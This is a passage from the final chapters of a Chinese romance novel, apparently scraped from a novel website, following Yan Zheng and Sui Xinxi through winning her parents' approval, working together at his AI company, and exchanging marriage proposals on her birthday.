屋里的争吵声戛然而止。几秒钟后,门被拉开一条缝,庞夏蕊带着怒气的脸出现在门后。 她看清楚了是晏铮,一把将门完全拉开,指着他的鼻子骂:“你还有脸来啊?你把心喜藏哪儿了?” 隋涛原也赶紧走到门口,伸手去拉晏铮,“小铮来了啊,进屋再说。” 庞夏蕊扭头瞪了隋涛原一眼,他的手顿在半空,讪讪地收了回去。 晏铮没等庞夏蕊再发难,直接迈步进去。 他停在客厅中央,转过身,面向庞夏蕊和隋涛原,双膝直接跪在了地砖上。 “叔叔阿姨对不起”,晏铮抬起头,直视着庞夏蕊愤怒的眼睛,“让你们担心了,都是我的错。” 庞夏蕊张了张嘴,似乎被晏铮这一跪给堵住了话头,但很快地,怒火再涌上来,“你少来这套,跪也没用!心喜呢,你到底把她怎么了?” 晏铮立刻回答,“她没事,现在在一个安全的地方,情绪很稳定。是我带她走的,因为我有话必须跟她说清楚,在那个场合没法说。” 庞夏蕊气得胸口起伏,“你知不知道那天是什么日子?订婚宴!你拉着她就跑,你想过她的处境吗?想过别人会怎么说她吗?风言风语能淹死人你知不知道?你让她以后怎么做人?” 她越说越激动,手指都在抖,“你这么做,只会让我觉得你更不靠谱!” 隋涛原在一旁想插嘴:“夏蕊,你消消气,听听小铮怎么说……” “你闭嘴!”庞夏蕊立刻吼了回去,眼睛依然盯着晏铮,“你说,你给我说清楚!” 晏铮没有回避她的目光,依旧跪得笔直:“阿姨,您骂的对。那天的事,是我考虑不周,做法太冲动,太不体面。我向您和叔叔道歉,更向心喜道歉。给她带来困扰,让您二位担心,都是我的责任。” “但是叔叔阿姨,我晏铮今天跪在这里,是想求你们一件事。求你们同意让我和心喜在一起,我会尽我所能来照顾她、保护她,让她过得好。这辈子除了她,我谁都不要。” 庞夏蕊被他这直白的承诺噎了一下,但很快反驳,“你说得好听,你怎么照顾?你开那个公司,谁知道哪天就……” 晏铮早有准备。他从公文包里掏出一个文件袋,抽出里面的文件递给庞夏蕊。 “阿姨,这是我名下所有财产的清单和转让协议。维恒的股份、我个人的存款、投资,还有对面那套房子……所有我能动的资产,转让文件都在这里。我已经签好字了,只要心喜签字,这些东西就都是她的。这是我目前能给的最大诚意。” 庞夏蕊完全没想到晏铮会来这一手,怔在原地。 隋涛原也凑近了些。他扶了扶老花镜,看清了文件上的文字,倒吸一口凉气:“小铮,你这……这太……” 庞夏蕊没接文件,只是看着它,又看看晏铮那张年轻却异常认真的脸,扶着旁边的沙发扶手,慢慢坐了下来。 她的胸口还在起伏,但气势明显弱了,“你倒是准备得充分,但你以为这样就行了?” 晏铮跪行几步,到她面前,“我知道钱不够证明什么,但我希望您能看到我的决心。我不是一时头脑发热,我是真的想和心喜在一起。” 隋涛原终于找到机会开口,他坐到庞夏蕊旁边,拍了拍她的背:“夏蕊,你看小铮这孩子,能做到这一步,不容易。他是真心实意想对心喜好。咱们看着他长大的,他是什么人,你心里其实也有数。那件事是做得欠妥,可年轻人,为了感情冲动一回,也不是不能理解。” 庞夏蕊这次没立刻反驳丈夫。她沉默了好一会儿,目光复杂地看着晏铮。 终于,她再度开口:“晏铮,我不是非要棒打鸳鸯。我反对你们在一起,最大的原因不是钱,也不是你公司怎么样。” 她叹了口气,“是因为心喜她太在意你了。” 这理由完全出乎晏铮的意料,他很是不解地看着庞夏蕊。 庞夏蕊苦笑了一下,告诉他实话,“你可能不知道。心喜大四那年,我们跟她提过,想送她出国深造,去她一直想去的学校。可她拒绝了,她说国内发展也挺好,不想离家太远。当时我们都没多想,可后来有一次我帮她收拾东西,看到她压在书底下的一张照片,那是你高中和同学的合照。她把你那部分,用笔特别小心地圈了出来。” “我当时就明白了。她心里有你,份量很重,重到可以影响她人生的重要决定。晏铮,我是她妈,我怕啊!我怕她把你放在她自己前面,怕她为了你委屈自己,怕她将来失去自我。我就这么一个女儿,我只希望她开心,希望她爱别人之前,先好好爱自己。你明白吗?” 晏铮跪在那里,感觉滚烫的热流从胸腔直冲头顶,让他眼眶都有些发酸。 他深吸一口气,眼神无比诚恳,“阿姨,我明白了,真的明白了,谢谢您告诉我这些。我向您保证,我绝不会让心喜受委屈,绝不会让她因为爱我而失去自我!我希望她永远是她自己,是那个最快乐的隋心喜。我爱她,就是爱她本来的样子,我会支持她做任何想做的事。她想出国,我陪她去;她想工作,我支持她;她想在家,我养着她。只要是她想要的,只要对她好的,我都会去做。我会学着用她需要的方式来爱她,而不是用我以为的方式。叔叔阿姨,请你们给我这个机会,也请你们看着我。如果我做不到,你们随时可以把我扫地出门。” 最后,他指了指地上的文件,“这些,就是心喜的保障。” 晏铮的这番话,一字一句,没有华丽的词藻,只有最直接的承诺。 客厅里再次陷入沉默,但气氛已经完全不同了。那股硝烟的味道散去了,取而代之的是释然和希望。 庞夏蕊长长地吁出一口气,紧绷的肩膀塌了下来,“行了,起来吧。地上凉,跪着像什么样子,男儿膝下有黄金。” 晏铮没动,看向隋涛原。 隋涛原赶紧点头:“对对对,快起来小铮,你阿姨让你起来就快起来!” 晏铮这才慢慢站起身。跪久了,膝盖有点发麻,他晃了一下才站稳。 庞夏蕊靠在沙发里,“话是你说的,晏铮。我听着了,也记下了。心喜是我女儿,我比任何人都希望她好。你们俩……我暂时不反对了。” 她看到晏铮眼中爆发的惊喜,立刻又板起脸补充:“但你别高兴得太早,这只是不反对,不是完全同意。我得看你以后怎么做,你要是敢欺负她,让她受委屈了……” 她没说完,但眼神里的警告意味十足。 “我明白,谢谢阿姨!谢谢叔叔!”晏铮立刻点头,心里的狂喜几乎要溢出来,但他努力压着,脸上是郑重其事的保证,“您放心,我一定做到!” 庞夏蕊哼了一声,看看旁边一脸欣慰的丈夫,心里那点最后的不甘也淡了。 她忽然觉得有点口渴。折腾半天,嗓子都冒烟了。 她对着厨房的方向抬了抬下巴,“给我倒杯水来,要温的。” “哎,好,马上!”晏铮小跑着冲向厨房。 他太熟悉这里了,很快找到杯子。他打开饮水机接水,用手背试了试温度,感觉正好。 他双手端着水杯递给庞夏蕊,“阿姨,您喝水。” 庞夏蕊接过来,温水流过干涩的喉咙,舒服多了。 她看着晏铮还毕恭毕敬地站在自己面前,像个等待指示的新兵。她又指了指客厅角落的绿植,“那发财树该浇水了,叶子都蔫了。” 晏铮应了一声,立刻去找水壶。 “壶在阳台!”隋涛原提醒道。 晏铮快步走向阳台,刚拿起水壶,门口传来钥匙插进锁孔转动的声音。 隋心喜拎着个包,心事重重地走了进来。 她一抬头,就看到客厅里的景象:妈妈靠在沙发上,脸上表情有点怪,像是刚发完火又有点累;爸爸坐在旁边,一副似笑非笑的样子;而晏铮正拿着个浇花的水壶,看着她是欲言又止。 隋心喜的目光在晏铮和她妈之间来回扫了两下,第一反应就是晏铮被为难了。 第39章 隋心喜鞋都没来得及换,几步就冲到阳台,拿过晏铮手里的水壶。 她挡在晏铮前面,像是护崽的母鸡,气鼓鼓地问庞夏蕊,“妈,你干嘛呢?” 庞夏蕊很平静地看了自家女儿一眼,“我干嘛?让他帮我干点活儿怎么了?我这老腰最近不太舒服,淋个花都费劲。” 隋心喜根本不相信这套说辞,“妈,你不舒服的话告诉我,我认识个很好的理疗师傅,可以请假陪你去看。” 她转身拉住晏铮的手,让他站在自己身边,“我们现在已经在一起了,你不要为难晏铮,他对我很好。是,那天他是冲动了点,可那是因为他在乎我,他怕我真的跟别人结了婚。” 晏铮被她这一通突如其来的维护弄得有点懵,心头却像被滚烫的糖浆浇过,又甜又胀。 他侧头看着这个为了他跟亲妈“叫板”的女人,她脸颊因为激动泛着红晕,嘴唇紧抿着。 他更用力地握紧了她的手,指腹在她手背上摩挲着,低声道:“阿姨没为难我呢。” 庞夏蕊看着眼前紧紧依偎在一起的两人,脸上的冰霜像是突然被阳光晒化了。 她有点哭笑不得,“在你眼里,你妈就这么不讲道理?” 隋心喜那股冲天的气势也卡壳了。她眨巴着眼睛,“啊?那你让他干活……” “他自己说的要照顾你一辈子,现在淋个花就受不了了?”庞夏蕊白了隋心喜一眼,“晏铮这孩子,也是我跟你爸从小看着长大的,人品怎么样,心里能没数吗?” 她顿了顿,又埋怨道:“你们两个啊,当初要是早点跟我们说说心思,哪至于后面闹出这么多幺蛾子?白白浪费了时间不说,还耽误了王贤!人家招谁惹谁了,平白无故被你俩当枪使,回头还得应付他爸妈。” 妈妈虽然还在嘴硬地数落,但话里话外已经默认了。 隋心喜默默地松了口气,赶紧顺着台阶下:“哎呀,妈,我知道错了嘛!王贤那边你放心,我肯定跟他解释清楚,好好赔罪!” 庞夏蕊看着女儿的小表情,挥挥手,“行了行了,别在我跟前杵着了,该干嘛干嘛去。” “不过”,她话锋一转,又看向晏铮,拿出长辈的威严,“考验期还没过啊,以后该干活还得干活!” 晏铮立刻挺直腰板,态度无比端正:“阿姨您放心,有什么活儿您尽管吩咐。” 隋心喜在一旁看着,忍不住偷偷掐了一下他的腰,换来他一个含笑的眼神。 这事儿算是翻篇了。隋心喜说到做到,立刻就给王贤打了电话。 隔天晚上,江市一家颇有名气的私房菜馆包间里。暖黄的灯光下,精致的小菜摆了一桌。 隋心喜和晏铮坐在一边,王贤坐在对面。 王贤的眼神落在他们从进门到现在就没松开过的手上,故意“哟”了一声,“我说二位,这都要开饭了,手还不撒开呢?这狗粮撒的,生怕别人不知道你们刚热恋是吧,有没有考虑过我这条单身狗啊?" 隋心喜被他逗得脸一红,就想把手抽回来,却被晏铮更紧地攥住了。 晏铮倒是神色坦然,还把两人交握的手放到桌面上,大大方方地展示给王贤看。 他诚恳地开口:“王贤,之前是我误会你,态度很不好。我当时有点失控,还想动手来着。实在抱歉!” 王贤正夹起一块肉放进嘴里,闻言摆摆手,含糊不清道:“还提那茬儿干嘛?多大点事儿!” 他咽下食物,喝了点汤,接着道:“我王贤是那么小气的人吗?只要你俩真成了,我姐妹幸福了,比啥都强!” 隋心喜心里又暖又酸,举起茶杯:“嗯,贤哥最好了,一定一定要敬你一杯。” 晏铮也举起茶杯:“以茶代酒,谢了。” 王贤跟两人碰了一下,一饮而尽。 放下杯子,隋心喜又有点担忧:“对了,咱俩这事儿黄了,你怎么跟你爸妈说啊,会不会有点难办?” 王贤一听,非但没愁,反而得意地晃了晃脑袋:“我就跟我爸妈说,我好爱好爱你,可惜半路杀出个晏铮,硬生生把你从我手里给抢走了!我深受情伤,这辈子都不想再谈婚论嫁了!” 他越说越来劲,一拍桌子:“你们说,这理由是不是绝了?情真意切,合情合理,还能给我爸妈打个预防针。迟点我要是出柜,他们心理承受能力也强点,说不定就接受了!” 隋心喜笑得眼泪都快出来了,竖起了大拇指,“你这脑回路,真是绝了!你别拍短剧了,改行去编剧吧,说不定哪天就有奥斯卡了。” 晏铮在一旁也是忍俊不禁。他第一次觉得这个“戏精”的哥们,确实够义气,也很有意思。 这顿饭吃得轻松愉快。饭后,王贤潇洒地挥挥手,表示电灯泡自觉退散,让小两口自己腻歪去了。 夜晚的城市褪去了白天的喧嚣,路灯在街道上投下温暖的光晕。 隋心喜和晏铮牵着手,慢悠悠地往他们住的地方溜达。 两人都没怎么说话,但紧握的手心和偶尔交汇的眼神,比任何甜言蜜语都让人安心。 走了一段,隋心喜晃了晃晏铮的手,打破了这份宁静,“喂,我有件事情要告诉你。” 晏铮停下脚步,“什么?” 路灯的光映得隋心喜眼睛亮晶晶的。她说:“我辞职信都写好了,明天就交。” “辞职?为什么?在那边做得不开心了?”晏铮知道隋心喜挺喜欢现在的工作,做得也不错。 隋心喜摇摇头,脸上绽开一个大大的笑容,“没有不开心,不过我更想去给自己打工啊!” 她戳了戳晏铮的胸口,“你看啊,你现在人是我的了,对吧?” 晏铮一脸宠溺:“嗯,是你的。” “然后,你的公司,你的房子,你的车,也都是我的了,对吧?” 晏铮嘴角的弧度越来越大,“对,都是你的。” “那不就得了!”隋心喜一拍手,理直气壮道:“你和你的一切都属于我了,那我当然要给自己工作啊!我去维恒给你当助理,或者秘书,或者随便什么职位,反正我得去看着点。这叫肥水不流外人田!” 晏铮看着眼前这个笑得眼睛弯弯的女人,喜悦像烟花一样在胸腔里炸开,绚烂得让他有些眩晕。 他反复确认道:“你真的想好了?你愿意去维恒跟我一起?这样你就得白天黑夜都对着我了。” 隋心喜用力点头,“当然要天天看着你,监督你好好赚钱。” 下一瞬,晏铮将她拉进怀里,紧紧抱住。 他的手臂箍得她有些喘不过气,但那份毫不掩饰的激动,透过紧贴的身体清晰地传递过来。 他低下头,给了她一个吻。 这个吻温柔而绵长,隋心喜闭上眼睛,回应着他。 她只觉得呼吸间都是他清爽好闻的气息,空气里飘满了甜甜的粉红泡泡,让她整个人都晕陶陶的。 隋心喜说到做到,很快办好了离职手续,空降到了维恒人工智能公司,担任了晏铮的特别助理。 她凭借丰富的经验和一股子不服输的韧劲,加上对晏铮行事风格的熟悉,工作上手得很快。 她做起事来很认真,连储嘉骐都私下跟晏铮夸过:“你这助理请得够值。” 可有人却不那么高兴了。 晏铮发现,自从隋心喜来了公司,她眼里好像就只有那些报表和会议纪要。 以前下班,两人还能腻在一起。可现在她经常在办公室,待到比他这个老板还晚,回到家也抱着笔记本看资料。 他想凑过去亲昵一下,她总说:“别闹,我看完这点”。 两人周末好不容易逛逛街吃个饭,她聊的也都是哪个部门效率低,哪个项目可能有风险。 这天下班时间早过了,大办公区空无一人,只有总裁办公室和隔壁的“特别助理”办公室还亮着灯。 晏铮推开门进去。 隋心喜正蹙眉盯着电脑屏幕,手指在键盘上敲得飞快,显然在处理什么棘手的问题。 灯光打在她专注的侧脸上,有种别样的吸引力,却也透着拒人千里的工作气场。 晏铮走到她的办公桌前,双手撑在桌沿,看着她。 隋心喜这才发现他。她抬头,脸上还带着被打断思路的茫然:“怎么啦?” 晏铮没说话,眼神沉沉地落在她微张的唇上。 下一秒,他绕过桌子,手臂一抄,直接把她从椅子上抱起来放在桌面上,然后用吻封住了她来不及出口的疑问和抗议。 隋心喜手边的文件散了一地。她起初还象征性地推了他肩膀两下,但很快身体就软了下来,像是被抽掉了骨头。 她觉得一股陌生的热流从小腹窜起,喉咙里不由自主地溢出模糊的呻吟,这声音让她脸腾地烧了起来。 晏铮显然也听到了,他稍稍退开一点,额头抵着她的,两人都喘得厉害。 他的目光像带着钩子,从她泛着水光的唇,滑到她那双包裹在黑色丝袜里的腿上。 眼看着他就要下一步动作,隋心喜从意乱情迷中清醒了几分。她按住那只作乱的手,声音还有点不稳:“别……有监控呢!” 她抬了抬下巴,示意角落里闪着红点的摄像头。 这是公司统一安装的安保监控,画面上传到云端,难免不会被后台看到。 晏铮顺着她的目光扫了一眼摄像头,眉头狠狠皱了起来,脸上的欲求不满简直要溢出。 他骂了句脏话,胸膛起伏着,显然憋得够呛。 过了几秒,他才咬着牙,带着点恶狠狠的劲儿说:“行,明天我就找人来把这玩意拆了!” 他松开她,站直了身体,但目光依旧要把她拆吃入腹,“我顺便让人在办公室里再弄个房间出来。” 隋心喜整理着衣服,疑惑道:“干嘛用?” 晏铮扯了扯嘴角,露出一个又痞又坏的笑,“你说干嘛用?当然是方便我们情绪到了。” 隋心喜被他这大胆又不要脸的计划惊得目瞪口呆,随即一股热气直冲脸颊。 她忍不住抓起一个软皮笔记本,作势要打他,笑骂道:“你神经病啊!” 晏铮顺手捞住那笔记本,往前一步,重新撑在她身体两侧的桌面上。 “我是不是神经病,你最清楚”,他低头,诱哄道:“监控明天再弄,现在先收点利息。” 隋心喜这次早有准备,赶紧用手挡住他的嘴,“刚才的报表,我还没有保存。” 晏铮不满地啧了一声,但还是依言停了下来。他看着她手忙脚乱地去够鼠标,睫毛还微微颤动着。 她身上那股熟悉的味道萦绕在鼻尖,让他心中的躁动平息了一些,却又滋生出另一种更深的渴望—— 他想将她独占一生,不容他人窥探半分。【`xs.c`o`m 网】 【全文完】 第40章 日子像被按了快进键,嗖嗖地往前窜。 转眼距离隋心喜上个“惊天动地”的生日,已经过去整整一年了。 维恒人工智能的招牌在科技园里越来越显眼,办公室也扩了又扩。 晏铮和隋心喜成了圈子里有名的夫妻档。虽然还没办手续,但在所有人眼里,他们早就绑一块了。 而庞夏蕊心里那点怕女儿在爱情里失去自我的担忧,也在隋心喜越来越有主见、在公司和晏铮旗鼓相当的架势里,慢慢放下了。 到了后面,反而是她想试探晏铮打算什么时候结婚。 隋涛原拉住她,劝慰道:“这小子,肯定憋着大招呢。” 他猜对了。晏铮心里一直有个疙瘩,就是去年隋心喜生日那场假订婚宴。 他特别想盖掉它。 用什么盖?用真的,用更大的。 所以他决定了,要在隋心喜今年的生日宴会上正式求婚。他要让这一天以后只属于他们俩,只留下好的记忆。 用技术术语说,这就叫做“覆盖安装”。 于是,他提前两个月就开始鬼鬼祟祟。 先是旁敲侧击地问隋心喜:“哎,今年生日想怎么过,在家吃还是出去?” 隋心喜正盯着屏幕改代码,头也没抬:“都行啊,你定呗,别太麻烦就行。” 晏铮“哦”了一声,转头就在手机上搜求婚场地。 过了几天,他拉着隋心喜“路过”一家珠宝店,指着柜台里一枚设计独特的钻戒,状似无意地问:“这戒指看着还行吧?” 隋心喜瞥了一眼,很客观地评价:“嗯,切割工艺不错,设计感也强。怎么,公司要定制礼品?” 晏铮噎了一下,含糊道:“没有,就随便看看。” 隋心喜嘴角似乎翘了一下,又专心看她的手机邮件去了。 晏铮心里嘀咕,她是不是看出来了? 后面,他开始频繁地外出“跟储嘉骐谈重要项目”,其实是在偷偷联系场地策划,一遍遍修改求婚方案。 他确认菜单、试吃蛋糕,连背景音乐的播放顺序都自己过了几遍。 他定好了戒指,没买店里那枚,是找设计师按他的描述定制的——简约、有力量感,像她。 他的这些动静,隋心喜都看在眼里。 她心里直乐,决定配合他演,装作什么都不知道。 偶尔,她也会逗他一下。 比如他刚挂掉一个策划师的电话,她就凑过去问:“跟谁聊那么久?是不是要开新项目了?” 晏铮立刻有点慌,眼神飘忽:“就一个供应商,谈点细节。” 隋心喜拖着长音“哦”了一声,带点促狭的笑意,看得晏铮心里发毛,赶紧转移话题。 生日前一天晚上,晏铮明显坐立不安。 他在客厅里来回踱步,一会儿检查手机电量,一会儿又去翻看天气预报,还把要穿的衣服拿出来熨了又熨。 隋心喜盘腿坐在沙发上啃苹果,电视里放着无聊的综艺,她其实也没看进去。 她对着晏铮笑出声,“你干嘛呢?明天又不是你上台领奖。” 晏铮顿住脚步,清了清嗓子,试图显得镇定:“没干嘛。明天你生日,不得准备充分点?” 隋心喜抽了张纸巾擦手,慢悠悠地说:“放心吧,一切都好。你赶紧坐下歇会,晃得我眼晕。” 晏铮在她旁边坐下,身体还有点僵硬。 隋心喜自然地靠过去,头枕在他肩上。晏铮手臂环住她,慢慢放松下来。 两人都没说话,客厅里只有电视的背景音。 隋心喜闭上眼,心里暖暖的。她收到了他的心意,她也知道,自己明天,要让他“印象深刻”。 —————————— 终于到了生日当天。 晏铮一大早就醒了,比闹钟还早。他轻手轻脚地下床,生怕吵醒身边的隋心喜。 他溜进卫生间洗漱,对着镜子默念了一遍今天的流程: 上午,他要找借口出去,其实是去场地做最后确认;中午,带她去吃她念叨了好久的餐厅,分散注意力;下午,陪她做个SPA,确保她状态好;傍晚,接她去布置好的求婚餐厅,然后亮戒指、单膝跪地、说词。 完美。 他快速收拾好,回到卧室,隋心喜也起来了。 她揉着眼睛,带着刚睡醒的慵懒,“今天有什么安排啊,晏总?” 晏铮又开始有点不自在,“上午我先去趟公司,处理点急事。下午带你去放松一下,你不是说最近脖子酸?” 隋心喜点点头,“好啊,都听你的。” 晏铮走了,隋心喜打开衣柜,挑了一件剪裁利落的连衣裙,配上晏铮高中时候送的项链,整个人看着精神又大方。 她拿出一个丝绒小盒子,打开看了一眼,放进自己的随身包里。 晏铮中午回来接她的时候,阳光透过车窗洒进来,车里暖洋洋的。 他正要发动车子,隋心喜却叫住了他,“等等,我有东西送你。” 晏铮有点意外,“今天不是你生日吗,怎么想起送我东西了?” 隋心喜从包里拿出准备好的小盒子,“啪”地一声打开,递到晏铮面前,“我们结婚吧。” 晏铮看着那闪着温润内敛光芒的戒指,眼睛都大了。 隋心喜见他这副呆住的样子,心里乐开了花,“我说,晏铮,我们结婚。戒指都给你准备好了。” 她歪了下头,温柔调侃道:“怎么样,弟弟?姐姐这招,没想到吧?” 晏铮的脑子彻底宕机了。 他设想过无数种今晚的场面,唯独没想过会是在这样一个普通的中午,在去吃饭的路上,被她抢先一步,直接KO! 他无奈地摇摇头,半天才找回自己的声音,“你什么时候……” 隋心喜笑着捏了捏他僵硬的脸颊:“早就看透你那点小心思啦,当我傻呀?” 她把戒指盒又往前递了递,“姐姐向你求婚呢,给点反应。” 晏铮回过神来,深吸一口气,压下心头的惊涛骇浪。 他伸出手指,眼里是浓得化不开的爱意。 隋心喜帮他把戒指戴上,拍了拍他的胳膊,“吃饭去,饿了。好好开车,老公。” 晏铮被她一句“老公”喊得心尖又是一麻,嘴角却不受控制地高高扬起。 接下来的路程,两人都没怎么说话,但一种心照不宣的甜蜜,在狭小的空间里无声流淌着。 夜幕降临之时,晏铮带隋心喜去了市中心的顶级酒店。 这里的玻璃穹顶餐厅,被他包了下来。 巨大的落地窗外是璀璨的城市夜景。餐厅里没开主灯,只有星星点点的暖黄小灯和摇曳的蜡烛,像把银河搬了进来。 空气里有淡淡的花香,是隋心喜喜欢的白玫瑰和铃兰。角落里,一支弦乐队已经就位。 虽然隋心喜早有预感,但她亲眼看到他为她费心布置的一切时,心还是软得一塌糊涂。 晏铮紧张地观察她的反应,像个等待老师点评作业的学生,“喜欢吗?” “嗯,很漂亮”,隋心喜由衷地说,主动握住了晏铮的手。 邀请的亲朋好友陆续到了。庞夏蕊、隋涛原,还有几个关系很近的朋友同事。 大家心照不宣地笑着,祝福隋心喜生日快乐,眼神里都带着期待,显然都知道今晚的重头戏是什么。 切了蛋糕,收了礼物,寒暄了一阵。晏铮看看时间,觉得差不多了。 他深吸一口气,站起身,餐厅里的灯光更柔和了,音乐也换成了舒缓深情的曲子。所有人的目光都聚焦在他身上。 晏铮走到隋心喜面前,掏出了那个藏了很久的戒指盒。 他打开盒子,钻戒在烛光和灯光下熠熠生辉。 他后退一步,单膝跪在了隋心喜面前。 “今天中午是你先问的我,现在换我问你”,他举起戒指,目光灼灼地锁住她的眼睛,“隋心喜,你愿意嫁给我吗?让我用一辈子来证明,弟弟也能赢姐姐一次。” 隋心喜看着跪在眼前的男人,看着他手上戴着自己送的戒指,看着他眼中毫不掩饰的爱意和期待,看着他精心布置的一切。 她的心口被暖流和幸福填满,眼眶发热,“我愿意。一人一次求婚,这下扯平了。” 掌声和欢呼声瞬间爆发出来,庞夏蕊笑着抹眼角,隋涛欣慰地点头。 晏铮也笑了,那笑容像拨云见日,灿烂得耀眼。 他无比珍重地将钻戒套进隋心喜的指尖,然后站起身,紧紧地将她拥入怀中。 他长长地舒了一口气,在她耳边低语,“嗯,扯平了。” (全文完)【`xs.c`o`m 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